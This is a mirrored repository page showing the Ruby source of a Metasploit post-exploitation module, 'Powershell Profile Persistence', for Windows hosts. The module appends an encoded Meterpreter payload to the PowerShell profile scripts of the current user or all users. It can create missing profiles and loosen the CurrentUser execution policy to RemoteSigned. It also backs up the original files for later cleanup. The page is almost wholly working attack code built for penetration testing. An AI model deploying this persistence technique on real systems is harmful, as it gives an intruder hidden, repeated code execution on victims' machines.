/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/windows/persistence/powershell_profile.rb
168 строк
7 KB
h00die
convert persistence mkdirs to lib function
07 май 2026, 21:31
07 май 2026, 21:31
5e39ced
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::Powershell include Msf::Post::Windows::Registry include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Powershell Profile Persistence', 'Description' => %q{ This module establishes persistence by modifying a PowerShell profile script, which is automatically executed when PowerShell starts. The module supports multiple profile scopes (current user or all users) and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file. }, 'License' => MSF_LICENSE, 'Author' => [ 'madefourit' ], 'Platform' => [ 'win' ], 'Arch' => [ARCH_X64, ARCH_X86], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'References' => [ ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], ['ATT&CK', Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE], [ 'URL', 'https://pentestlab.blog/2019/11/05/persistence-powershell-profile/'] ], 'DisclosureDate' => '2019-11-05', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options [ OptEnum.new('PROFILE', [true, 'The powershell profile to target.', 'AUTO', ['AUTO', 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST']]), OptBool.new('CREATE', [false, 'If a profile file doesnt exist, create one.', false]), OptBool.new('EXECUTIONPOLICY', [false, 'Attempt to update execution policy to execute .', true]), ] end def policy_allows_execution? # Get-ExecutionPolicy -List has words, but when converting to json to read easily it gives numbers, so we have to map them back execution_policies = cmd_exec('powershell -NoProfile -Command "$h = @{}; Get-ExecutionPolicy -List | ForEach-Object { $h[$_.Scope.ToString()] = $_.ExecutionPolicy.ToString() }; $h | ConvertTo-Json"') begin @policies = JSON.parse(execution_policies) rescue JSON::ParserError print_error("Failed to parse powershell execution policies: #{execution_policies}") return false end ['Unrestricted', 'RemoteSigned', 'Bypass'].include?(@policies['CurrentUser']) end def check return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell') unless policy_allows_execution? if datastore['EXECUTIONPOLICY'] return Msf::Exploit::CheckCode::Appears("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}), will attempt to override") else return Msf::Exploit::CheckCode::Safe("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}) doesn't allow script execution, try setting EXECUTIONPOLICY") end end vprint_status("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']})") CheckCode::Appears('Powershell is installed and exploitable on the target system') end def backdoor_profile(profile_file) module_created_file = false unless file?(profile_file) if datastore['CREATE'] print_status("#{profile_file} does not exist, creating it...") folders = profile_file.split('\\')[0..-2] folders = folders.join('\\') unless directory?(folders) mkdir(folders, cleanup: false) @clean_up_rc << "rmdir #{folders.gsub('\\', '/')}\n" end unless write_file(profile_file, '') # write empty file so we can append later print_error("Failed to create profile file at #{profile_file}") return false end module_created_file = true else print_error("#{profile_file} does not exist and CREATE option is false") return false end end if module_created_file @clean_up_rc << "rm #{profile_file.gsub('\\', '/')}\n" else pfile = read_file(profile_file) if pfile.nil? vprint_warning("Unable to read (and backup) existing profile file at #{profile_file}, continuing without backup") else backup_file = store_loot( 'powershell.profile', 'text/plain', session, pfile, profile_file.split('\\').last, 'powershell profile backup' ) print_status("Created #{profile_file} backup: #{backup_file}") @clean_up_rc << "upload #{backup_file} #{profile_file}\n" end end pload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true) splitter = '-c ' pload = pload.split(splitter)[1..] # remove all the powershell.exe and setup/run stuff, we only need the code bit here pload = pload.join(splitter)[1..-2] # rejoin, then remove surrounding double quotes vprint_status("Appending payload to #{profile_file}") unless append_file(profile_file, "\n#{pload}\n") print_error("Failed to append payload to #{profile_file}") return false end true end def install_persistence profiles = cmd_exec('powershell -NoProfile -Command "$PROFILE | Select-Object * | ConvertTo-Json"') begin profiles = JSON.parse(profiles) rescue JSON::ParserError fail_with(Failure::UnexpectedReply, "Failed to parse powershell profile paths: #{profiles}") end profiles = profiles.transform_keys { |k| k.to_s.upcase } if !policy_allows_execution? && datastore['EXECUTIONPOLICY'] print_status('Updating Powershell execution policy for CurrentUser to RemoteSigned') cmd_exec('powershell -NoProfile -Command "Set-ExecutionPolicy -Scope CurrentUser RemoteSigned"') @clean_up_rc << "execute -f powershell -a \"-NoProfile -w hidden -Command 'Set-ExecutionPolicy -Scope CurrentUser #{@policies['CurrentUser']}'\"\n" end case datastore['PROFILE'] when 'AUTO' ['ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'].each do |profile| unless profiles.key?(profile) print_error("#{profile} not found in user's profiles") next end success = backdoor_profile(profiles[profile]) break if success end when 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST' unless profiles.key?(datastore['PROFILE']) fail_with(Failure::UnexpectedReply, "#{datastore['PROFILE']} not found in user's profiles") end backdoor_profile(profiles[datastore['PROFILE']]) end end end